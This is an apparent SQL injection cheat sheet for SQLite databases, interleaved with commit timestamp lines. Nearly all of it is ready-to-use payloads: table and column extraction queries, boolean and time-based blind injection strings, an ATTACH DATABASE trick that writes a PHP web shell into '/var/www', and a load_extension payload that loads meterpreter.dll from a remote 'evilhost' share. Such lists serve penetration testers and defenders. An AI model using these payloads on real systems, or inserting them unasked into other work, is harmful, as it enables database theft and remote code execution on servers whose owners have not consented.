2017-02-21 09:16:51 +01:00
# SQLite Injection
2016-11-29 17:27:35 +01:00
2018-05-20 22:10:33 +02:00
## SQLite comments
2018-08-12 23:30:22 +02:00
2018-05-16 23:33:14 +02:00
```sql
--
/**/
2018-03-12 09:17:31 +01:00
```
2018-05-16 23:33:14 +02:00
## SQLite version
2018-08-12 23:30:22 +02:00
2018-05-16 23:33:14 +02:00
```sql
2018-03-12 09:17:31 +01:00
select sqlite_version();
```
2017-02-21 09:16:51 +01:00
## Integer/String based - Extract table name
2018-08-12 23:30:22 +02:00
2018-05-16 23:33:14 +02:00
```sql
2017-02-21 09:16:51 +01:00
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
```
2018-08-12 23:30:22 +02:00
2017-02-21 09:16:51 +01:00
Use limit X+1 offset X, to extract all tables.
## Integer/String based - Extract column name
2018-08-12 23:30:22 +02:00
2018-05-16 23:33:14 +02:00
```sql
2017-02-21 09:16:51 +01:00
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
```
For a clean output
2018-08-12 23:30:22 +02:00
2018-05-16 23:33:14 +02:00
```sql
2017-02-21 09:16:51 +01:00
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
```
## Boolean - Count number of tables
2018-08-12 23:30:22 +02:00
2018-05-16 23:33:14 +02:00
```sql
2017-02-21 09:16:51 +01:00
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
```
## Boolean - Enumerating table name
2018-08-12 23:30:22 +02:00
2018-05-16 23:33:14 +02:00
```sql
2017-02-21 09:16:51 +01:00
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
```
## Boolean - Extract info
2018-08-12 23:30:22 +02:00
2018-05-16 23:33:14 +02:00
```sql
2017-02-21 09:16:51 +01:00
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
```
2018-05-16 23:33:14 +02:00
## Time based
2018-08-12 23:30:22 +02:00
2018-05-16 23:33:14 +02:00
```sql
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
2016-11-29 17:27:35 +01:00
```
2018-05-16 23:33:14 +02:00
## Remote Command Execution using SQLite command - Attach Database
2018-08-12 23:30:22 +02:00
2018-05-16 23:33:14 +02:00
```sql
2018-03-12 09:17:31 +01:00
ATTACH DATABASE '/var/www/lol.php' AS lol;
2016-11-29 17:27:35 +01:00
CREATE TABLE lol.pwn (dataz text);
2018-03-12 09:17:31 +01:00
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?> ');--
2016-11-29 17:27:35 +01:00
```
2017-02-21 09:16:51 +01:00
## Remote Command Execution using SQLite command - Load_extension
2018-08-12 23:30:22 +02:00
2018-05-16 23:33:14 +02:00
```sql
2016-11-29 17:27:35 +01:00
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
```
2018-08-12 23:30:22 +02:00
2017-02-21 09:16:51 +01:00
Note: By default this component is disabled
## Thanks to
2018-08-12 23:30:22 +02:00
2018-03-12 09:17:31 +01:00
[Injecting SQLite database based application - Manish Kishan Tanwar ](https://www.exploit-db.com/docs/41397.pdf )